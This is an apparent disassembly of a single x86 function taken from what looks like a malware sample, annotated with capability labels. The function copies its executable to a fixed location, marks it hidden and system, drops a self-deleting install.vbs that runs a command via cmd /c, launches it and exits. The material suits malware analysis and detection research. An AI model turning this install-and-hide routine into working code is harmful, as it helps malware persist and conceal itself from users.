Function at 0x40ad0a
Capabilities:
Copy file
Create directory
Create process on windows
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
push ebx
push esi
xor ebx, ebx
mov byte [ebp - 5], cl
push edi
mov esi, edx
mov dword [ebp - 0x10], ebx
lea edi, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x40ad23
sub edx, edi
mov edi, 0x46c530
sar edx, 1
je 0x40ad81
push ebx
mov ecx, edi
call fcn.00401ecb
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x28]
push ebx
push 0x45f958
mov edx, edi
call fcn.00407516
pop ecx
mov edx, eax
lea ecx, [ebp - 0x58]
call fcn.00403086
pop ecx
mov edi, 0x46c500
push eax
mov ecx, edi
call fcn.00401eda
lea ecx, [ebp - 0x58]
call fcn.00401ed0
lea ecx, [ebp - 0x28]
jmp 0x40ada0
mov ebx, dword [ebp + 8]
mov dl, cl
push ebx
lea ecx, [ebp - 0x58]
call fcn.004179b3
pop ecx
mov edi, 0x46c500
push eax
mov ecx, edi
call fcn.00401eda
lea ecx, [ebp - 0x58]
call fcn.00401ed0
mov ecx, edi
call fcn.00401ecb
mov ecx, eax
mov eax, 0x46bb08
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40addb
test dx, dx
je 0x40add5
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40addb
add eax, 4
add ecx, 4
test dx, dx
jne 0x40adb3
xor ecx, ecx
mov eax, ecx
jmp 0x40ade2
sbb eax, eax
or eax, 1
xor ecx, ecx
test eax, eax
jne 0x40ae00
mov ecx, 0x46c4e8
call fcn.00401ecb
push eax
push ecx
call fcn.0040ac19
pop ecx
pop ecx
mov al, 1
jmp 0x40b100
push ecx
mov ecx, edi
call fcn.00401ecb
push eax
push 0x46bb08
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40aec5
cmp byte [ebp - 5], 0x36
je 0x40aec5
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0x10]
jne 0x40ae2b
sub ecx, edx
mov dl, 0x36
sar ecx, 1
push ebx
lea ecx, [ebp - 0x40]
je 0x40ae85
push 0x45f958
push esi
call fcn.004179b3
pop ecx
mov edx, eax
lea ecx, [ebp - 0x70]
call fcn.00403086
pop ecx
mov edx, eax
lea ecx, [ebp - 0x88]
call fcn.00403086
pop ecx
push eax
mov ecx, edi
call fcn.00401eda
lea ecx, [ebp - 0x88]
call fcn.00401ed0
lea ecx, [ebp - 0x70]
call fcn.00401ed0
jmp 0x40ae93
call fcn.004179b3
pop ecx
push eax
mov ecx, edi
call fcn.00401eda
lea ecx, [ebp - 0x40]
call fcn.00401ed0
xor eax, eax
mov ecx, edi
push eax
call fcn.00401ecb
push eax
mov ebx, 0x46bb08
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40aec5
push ebx
mov ecx, edi
call fcn.00409dcb
xor al, al
jmp 0x40b100
mov ecx, 0x46c4e8
call fcn.00401ecb
push eax
push ecx
call fcn.0040ac19
cmp byte [ebp + 0xc], 1
pop ecx
pop ecx
jne 0x40af15
push 7
mov ecx, edi
call fcn.00401ecb
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
call ebx
lea edx, [esi + 2]
xor ecx, ecx
mov ax, word [esi]
add esi, 2
cmp ax, cx
jne 0x40aef5
sub esi, edx
sar esi, 1
je 0x40af15
push 7
mov ecx, 0x46c530
call fcn.00401ecb
push eax
call ebx
push str.install.vbs
push 0x460018
call fcn.0043918f
pop ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.0040425f
mov edx, eax
lea ecx, [ebp - 0x58]
call fcn.00403086
pop ecx
lea ecx, [ebp - 0x40]
call fcn.00401ed0
push str.WScript.Sleep_1000_n
lea ecx, [ebp - 0x28]
call fcn.0040425f
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x28]
call fcn.0040766e
cmp byte [ebp + 0x10], 1
mov ebx, 0x4600bc
jne 0x40b00a
push ebx
mov esi, 0x45f454
lea ecx, [ebp - 0xd0]
push esi
push 0x46bb08
call fcn.0040425f
push eax
push esi
push 0x4600c0
lea ecx, [ebp - 0xb8]
call fcn.0040425f
mov edx, eax
lea ecx, [ebp - 0xa0]
call fcn.00403086
pop ecx
mov edx, eax
lea ecx, [ebp - 0x88]
call fcn.00403010
pop ecx
mov edx, eax
lea ecx, [ebp - 0x70]
call fcn.00403086
pop ecx
mov edx, eax
lea ecx, [ebp - 0x40]
call fcn.00403086
pop ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.004032f1
lea ecx, [ebp - 0x40]
call fcn.00401ed0
lea ecx, [ebp - 0x70]
call fcn.00401ed0
lea ecx, [ebp - 0x88]
call fcn.00401ed0
lea ecx, [ebp - 0xa0]
call fcn.00401ed0
lea ecx, [ebp - 0xb8]
call fcn.00401ed0
lea ecx, [ebp - 0xd0]
call fcn.00401ed0
push ebx
push str._____0
lea ecx, [ebp - 0x70]
call fcn.0040425f
push eax
push edi
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0x40]
call fcn.0040425f
mov edx, eax
lea ecx, [ebp - 0xa0]
call fcn.00404409
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb8]
call fcn.00403010
pop ecx
mov edx, eax
lea ecx, [ebp - 0xd0]
call fcn.00403086
pop ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.004032f1
lea ecx, [ebp - 0xd0]
call fcn.00401ed0
lea ecx, [ebp - 0xb8]
call fcn.00401ed0
lea ecx, [ebp - 0xa0]
call fcn.00401ed0
lea ecx, [ebp - 0x40]
call fcn.00401ed0
lea ecx, [ebp - 0x70]
call fcn.00401ed0
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x28]
call fcn.0040766e
xor ebx, ebx
lea ecx, [ebp - 0x58]
push ebx
call fcn.00401ecb
push eax
lea ecx, [ebp - 0x28]
call fcn.00402469
mov esi, eax
lea ecx, [ebp - 0x28]
add esi, esi
call fcn.00401ecb
mov edx, esi
mov ecx, eax
call fcn.0041729f
pop ecx
pop ecx
test al, al
je 0x40b0f0
push ebx
mov eax, 0x45f714
lea ecx, [ebp - 0x58]
push eax
push eax
call fcn.00401ecb
push eax
push 0x45f6d4
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40b0f0
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x28]
call fcn.00401ed0
lea ecx, [ebp - 0x58]
call fcn.00401ed0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret